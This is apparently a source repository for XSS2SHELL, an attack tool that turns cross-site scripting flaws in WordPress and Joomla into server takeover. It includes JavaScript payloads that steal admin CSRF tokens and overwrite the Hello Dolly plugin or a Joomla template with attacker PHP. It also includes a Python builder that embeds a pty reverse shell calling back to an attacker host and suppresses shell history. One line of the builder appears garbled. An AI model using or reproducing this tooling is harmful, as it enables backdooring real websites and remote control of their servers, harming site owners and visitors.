├── README.md ├── joomla.js ├── wordpress.js └── xss2shell.py /README.md: -------------------------------------------------------------------------------- 1 | XSS2SHELL v3 2 | ========= 3 | 4 | Changelog:
5 | v3 - "Hello Dolly" plugin is now used for backdooring WP; Themes are no longer used.
6 | V2 - Added Joomla support 7 | 8 | Videos:
9 | Exploiting CVE-2014-9031 with XSS2SHELL (V3): http://youtu.be/hRIuaLQfOhs
10 | XSS2SHELL - Video Walkthrough & Introduction (V1): http://youtu.be/-EGUfPgK_lw 11 | 12 | XSS2SHELL is a piece of software which allows you to get instant php code execution on WordPress and Joomla! installations via XSS vulnerabilities. The tool is designed to operate as follows: 13 | 14 | 1. User generates his javascript payload by using the python builder 15 | 2. User uploads the payload and injects it into an existing XSS vuln 16 | 3. Payload is triggerd by a WP/Joomla! admin, and the attacker's php is evaled 17 | 18 | Some notes: 19 | 1. The WordPress payload is always saved to "/wp-content/plugins/hello.php" 20 | 2. The Joomla! payload is always saved to "/administrator/templates/isis/pay.php" 21 | 22 | Feel free to contribute to this repo by reporting bugs or making productive pull requests. 23 | -------------------------------------------------------------------------------- /joomla.js: -------------------------------------------------------------------------------- 1 | function httpGet(theUrl) 2 | { 3 | var xmlHttp = null; 4 | 5 | xmlHttp = new XMLHttpRequest(); 6 | xmlHttp.open( "GET", theUrl, false ); 7 | xmlHttp.send( null ); 8 | return xmlHttp.responseText; 9 | } 10 | 11 | var page = httpGet("%s/administrator/index.php?option=com_templates&view=template&id=507&file=L3BheS5waHA="); 12 | 13 | function httpPost(theUrl, csrftoken) 14 | { 15 | var xmlHttp = null; 16 | 17 | xmlHttp = new XMLHttpRequest(); 18 | xmlHttp.open( "POST", theUrl, false ); 19 | xmlHttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 20 | if (csrftoken == "null") 21 | { 22 | xmlHttp.send("type=php&name=pay&address="); 23 | } 24 | else 25 | { 26 | xmlHttp.send("jform[source]=%s&task=template.apply&" + csrftoken + "=1&jform[extension_id]=507&jform[filename]=/pay.php"); 27 | } 28 | return xmlHttp.responseText; 29 | 30 | } 31 | 32 | csrftoken = "null"; 33 | 34 | httpPost("%s/administrator/index.php?option=com_templates&task=template.createFile&id=507&file=L3BheS5waHA=", csrftoken); 35 | 36 | //ik I fail at regex fuk u 37 | var regExp = /\/administrator\/index.php\?option=com_login&task=logout&([^)]+)\"/; 38 | var matches = regExp.exec(page); 39 | var csrftoken = matches[1].slice(0, 32); 40 | 41 | httpPost("%s/administrator/index.php?option=com_templates&view=template&id=507&file=L3BheS5waHA=", csrftoken); 42 | httpGet("%s/administrator/templates/isis/pay.php"); 43 | -------------------------------------------------------------------------------- /wordpress.js: -------------------------------------------------------------------------------- 1 | function httpGet(theUrl) 2 | { 3 | var xmlHttp = null; 4 | 5 | xmlHttp = new XMLHttpRequest(); 6 | xmlHttp.open( "GET", theUrl, false ); 7 | xmlHttp.send( null ); 8 | return xmlHttp.responseText; 9 | } 10 | 11 | var page = httpGet("%s/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php"); 12 | 13 | function httpPost(theUrl, csrftoken) 14 | { 15 | var xmlHttp = null; 16 | 17 | xmlHttp = new XMLHttpRequest(); 18 | xmlHttp.open( "POST", theUrl, false ); 19 | xmlHttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 20 | xmlHttp.send("_wpnonce=" + csrftoken + "&_wp_http_referer=%s/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php&newcontent=%s&action=update&file=hello.php&plugin=hello.php&scrollto=0&submit=Update+File"); 21 | return xmlHttp.responseText; 22 | 23 | } 24 | 25 | //ik I fail at regex fuk u 26 | var regExp = /name=\"_wpnonce\"\svalue=\"([^)]+)\"/; 27 | var matches = regExp.exec(page); 28 | var csrftoken = matches[1].slice(0, 10); 29 | 30 | httpPost("%s/wp-admin/plugin-editor.php", csrftoken); 31 | httpGet("%s/wp-content/plugins/hello.php"); 32 | -------------------------------------------------------------------------------- /xss2shell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | # -*- coding: utf-8 -*- 3 | #python pty shell provided by infodox 4 | import subprocess, base64, sys, urllib 5 | import argparse 6 | 7 | rshell = """import os 8 | import pty 9 | import socket 10 | 11 | lhost = "%s" 12 | lport = %s 13 | 14 | def main(): 15 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 | s.connect((lhost, lport)) 17 | os.dup2(s.fileno(),0) 18 | os.dup2(s.fileno(),1) 19 | os.dup2(s.fileno(),2) 20 | os.putenv("HISTFILE",'/dev/null') 21 | pty.spawn("/bin/bash") 22 | s.close() 23 | 24 | if __name__ == "__main__": 25 | main()""" 26 | 27 | print """ 28 | ▐▄• ▄ .▄▄ · .▄▄ · ▪ ▪ .▄▄ · ▄ .▄▄▄▄ .▄▄▌ ▄▄▌ 29 | █▌█▌▪▐█ ▀. ▐█ ▀. ██ ██ ▐█ ▀. ██▪▐█▀▄.▀·██• ██• 30 | ·██· ▄▀▀▀█▄▄▀▀▀█▄ ▐█·▐█· ▄▀▀▀█▄██▀▐█▐▀▀▪▄██▪ ██▪ 31 | ▪▐█·█▌▐█▄▪▐█▐█▄▪▐█ ▐█▌▐█▌ ▐█▄▪▐███▌▐▀▐█▄▄▌▐█▌▐▌▐█▌▐▌ 32 | •▀▀ ▀▀ ▀▀▀▀ ▀▀▀▀ ▀▀▀▀▀▀ ▀▀▀▀ ▀▀▀ · ▀▀▀ .▀▀▀ .▀▀▀ 33 | """ 34 | 35 | def preparepayload(payload, cms, targeturi): 36 | payload = urllib.quote_plus(payload) 37 | if cms == 'joomla': 38 | f = open('joomla.js').read() 39 | payload = f % (targeturi, payload, targeturi, targeturi, targeturi) 40 | else: 41 | f = open('wordpress.js').read() 42 | payload = f % (targeturi, targeturi, payload, targeturi, targeturi) 43 | open('out.js', 'w').write(payload) 44 | print('[+] out.js generated!') 45 | 46 | def genpayload(lhost, payload, rshell, cms, targeturi): 47 | rshell = base64.b64encode(rshell % (lhost, lport)) 48 | payload = '' % (rshell) 49 | preparepayload(payload, cms, targeturi) 50 | 51 | parser = argparse.ArgumentParser() 52 | parser.add_argument('-l', '--lhost', dest='lhost', help='Host for reverse shell (Ex. 8.8.8.8)', metavar='LHOST') 53 | parser.add_argument('-p', '--lport', dest='lport', help='Port for reverse shell (Ex. 4444)', metavar='LPORT') 54 | parser.add_argument('-u', '--targeturi', dest='targeturi', help='TargetURI (Ex. /wordpress)', metavar='TargetURI', default='') 55 | parser.add_argument('-f', '--file', dest='custom', help='Custom payload (Ex. custom.php)', metavar='CustomPayload') 56 | parser.add_argument('-c', '--cms', dest='cms', help='CMS (Ex. wordpress)', metavar='CMS') 57 | 58 | 59 | try: 60 | args = parser.parse_args() 61 | if args.cms.lower() == 'wordpress': 62 | cms = args.cms.lower() 63 | print('[+] Payload Location: /wp-content/plugins/hello.php') 64 | elif args.cms.lower() == 'joomla': 65 | cms = args.cms.lower() 66 | print('[+] Payload Location: /administrator/templates/isis/pay.php') 67 | if args.custom == None: 68 | print('[+] Using default payload: python pty reverse shell') 69 | lhost = args.lhost 70 | lport = args.lport 71 | genpayload(lhost, lport, rshell, cms, args.targeturi) 72 | else: 73 | print('[+] Using custom payload: %s' % (args.custom)) 74 | payload = open(args.custom).read() 75 | preparepayload(payload, cms, args.targeturi) 76 | except: 77 | parser.print_help() 78 | --------------------------------------------------------------------------------